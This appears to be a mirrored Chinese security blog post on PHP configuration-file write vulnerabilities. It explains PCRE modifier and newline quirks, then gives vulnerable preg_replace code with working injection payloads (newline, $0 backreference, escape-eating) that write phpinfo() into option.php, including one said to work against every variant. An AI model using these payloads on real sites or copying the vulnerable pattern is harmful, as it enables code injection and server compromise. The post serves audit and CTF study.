

[小密圈]经典写配置漏洞与几种变形学习
source link: https://www.smi1e.top/%e5%b0%8f%e5%af%86%e5%9c%88%e7%bb%8f%e5%85%b8%e5%86%99%e9%85%8d%e7%bd%ae%e6%bc%8f%e6%b4%9e%e4%b8%8e%e5%87%a0%e7%a7%8d%e5%8f%98%e5%bd%a2%e5%ad%a6%e4%b9%a0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

今天p牛在小密圈总结了8种配置文件写入问题,在去年的高校运维赛中,我自己也利用其中的一种变种成功的非预期getshell。这种配置文件写入操作多存在于后台,并且也是很常见的,利用方式很有意思,p牛仅写了大体思路,在这里我想仔细分析一下。
正则表达式问题
最早学正则的时候肯定就接触
^
和$
两个字符了,大部分开发者使用这两个界定符本意是匹配"字符串的开头和结尾",但这两个界定符在正则里原本的意思是"行的开头和结尾",这就出现了一些差异。
正则安全中关于首尾界定符的一些小细节
/m
修饰符表示多行匹配, multi-line
表示按行来匹配正则,可以理解为,将待匹配的文本用换行符分割后,每一部分都对其进行正则匹配,并将结果用OR运算来计算,得出最终结果。
<?php
if(preg_match('/^a[a-z]+z$/m', $_GET['input'])) {
echo$_GET['input'];
}
第一行通过匹配即使后面匹配不上也会返回1,因此这里我们可以使用 %0a
换行符绕过。
根据p牛文章中所述,官方文档中 single-line的意思是将待匹配的文本视为一行,换行符不再作为"换行"的标志
是错误的,正确的描述应该是 s并不能指定正则是否是single-line,因为PCRE正则默认情况下就是single-line,而s的意思只是".是否能匹配上换行"
。
因为
<?php
var_dump(preg_match('/^a[a-z]+z$/', "abbz\nccz"));//结果是0。说明这里并不是multi-line
?>
<?php
var_dump(preg_match('/^a.+z$/', "abbz\nccz"));//结果是0。说明.没匹配上\n
?>
<?php
var_dump(preg_match('/^a.+z$/s', "abbz\nccz"));//结果是1,说明.匹配上了\n
因此在没有m和s修饰符的情况下,默认将待匹配的文本视为一行,且 .
不能匹配"换行"。
- 不加s或m修饰符 ->
single line
,但.
不能匹配换行符 - 单独加s修饰符 ->
single line
,且.
匹配包括换行符在内的所有字符 - 单独加m修饰符 ->
multi line
- 同时加m和s两个修饰符 ->
multi line
,且.
匹配包括换行符在内的所有字符
$匹配换行问题
在 multi-line
下,因为是多行模式,所以 $
可以匹配每一行的结尾,且不会匹配换行符。
在 single-line
下(根据上面可知,包括 /s
和同时没有 /ms
),将整个文本视为一行,所以 $
匹配的是文本的结尾,且包括结尾的换行符。
<?php
var_dump(preg_match('/^a[a-z]+z$/', "abbbz\n"));//返回1
例如Apache换行解析漏洞:因为 $
能匹配 \n
,所以上传 shell.php\n
仍然可以让Apache解析PHP文件。

经典写配置漏洞与几种变形
正则贪婪模式、无s单行模式:
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*';/", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);
攻击方法:利用换行符绕过正则,第一次写入webshell,第二次使之逃逸。分别发送如下两个请求,即可写入phpinfo。http://localhost:9090/update.php?api=aaaaa%27;%0aphpinfo();//
<?php
$API = 'aaaaa\';
phpinfo();//';
http://localhost:9090/update.php?api=aaaaa
<?php
$API = 'aaaaa';
phpinfo();//';
可以看到由于默认情况下 .
不会匹配换行符,因此我们可以第一次在文件中写入换行符,第二次由于 .
匹配不到换行符,所以会匹配到转义后的 \'
,第二次将 aaaaa\
替换为正常字符串,从而导致单引号逃逸。
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*';/s", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);
攻击方法:利用正则替换的方式,第二次用 $0
或 \0
引入单引号,导致第一次传入的 phpinfo
逃逸。http://localhost:9090/update.php?api=;phpinfo();
<?php
$API = ';phpinfo();';
http://localhost:9090/update.php?api=$0
<?php
$API = '$API = ';phpinfo();';';
在 /s
模式下, .
会匹配换行符,因此上面的方法无法使用。
这里使用了 $0
,也就是完整的模式或匹配文本。

$API = ';phpinfo();'
引入,闭合掉前后的单引号,导致 phpinfo();
逃逸,思路好秀。
基础非贪婪和单行非贪婪
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*?';/", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);
?>
仅匹配到第一个单引号后,因此payload同第一种方式相同,可以使用换行也可以不使用。
<?php
$API = 'aaaaa';phpinfo();//';
单行非贪婪
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*?';/s", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);
同理,只不过使用了 /s
修饰符,p牛文章中说不能使用换行符,其实还是可以使用换行符的,因为是非贪婪模式,匹配到第一个单引号就停止了。payload同上,可以使用换行也可以不使用。
define基础版
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*'\);/", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);
同第一种大同小异,只需要多个括号。http://127.0.0.1:999/file.php?api=aaaaa%27);%0aphpinfo();//
<?php
define('API', 'aaaaa\');
phpinfo();//');
http://127.0.0.1:999/file.php?api=aaaaa
<?php
define('API', 'aaaaa');
phpinfo();//');
define单行版
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);
如果用第二种攻击方法,将会导致"插坏"的情况出现,因为引入了无法控制的单引号。
<?php
define('API', 'define('API', ';phpinfo();');');
攻击方法:因为 preg_replace
在替换的时候会吃掉转义符,利用这个特点,即可引入单引号。http://localhost:9090/update.php?api=aaa\%27);phpinfo();//
替换前: aaa\\\');phpinfo();//
替换后: aaa\\');phpinfo();//
<?php
define('API', 'aaa\\');phpinfo();//');
这个方法可以通杀这篇文章里所有的版本。
define基础版非贪婪模式
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*?'\);/", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);
同基础,可有换行也可无
define单行非贪婪模式
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*?'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);
http://localhost:9090/update.php?api=aaaa%27);phpinfo();//
http://localhost:9090/update.php?api=aaaa
原以为搞懂会很复杂,最后发现跟举一反三差不多。
Referer
正则安全中关于首尾界定符的一些小细节
经典写配置漏洞与几种变形

Recommend
-
71
快消品十年变形记虎嗅注:本篇文章来自一位曾经在快消品市场工作过十年的行业人对这十年来市场变化的一些观察与思考。2007年,北京的奥运氛围浓厚。那一年,奥运会的10个赞助商里,快消品占了5个,啤酒占了3个,百威、青岛和...
-
48
知识星球 - 知识星球(原名小密圈)是创作者连接铁杆粉丝,实现知识变现的工具 - NEXT
-
8
2017年我在 代码审计知识星球 里曾经发过一个经典的配置文件漏洞模型: 当时大...
-
13
今天p牛在小密圈总结了8种配置文件写入问题,在去年的高校运维赛中,我自己也利用其中的一种变种成功的非预期getshell。这种配置文件写入操作多存在于后台,并且也是很常见的,利用方式...
-
27
漏洞信息 1 漏洞简介 漏洞名称 :Fastjson 1.2.24远程代码执行漏洞(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)
-
15
漏洞信息 1 漏洞简介 漏洞名称 :Microsoft Windows Win32k本地提权漏洞 漏洞编号 :CVE-2015-...
-
12
漏洞信息 1 漏洞简介 漏洞名称 :Microsoft Windows Win32k本地提权漏洞 漏洞编号 :CVE-2015-...
-
12
小密圈 色流变现 日收入4000 妓院和放贷是人类最古老的行业。 小密圈是社群类软件,为付费社群提供了解决方案,很多自媒体用这个变现,出钱就能加入,主要通过微信登录和...
-
6
15句《青春变形记》经典台词,藏着每个人的成长缩影!
-
9
本文讲解了Dubbo的几种配置方式,包括XML、API以及Annotation的方式;Dubbo版本基于2.x; https://github.com/JasonkayZK/java-all/tree/main/dubbo2
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK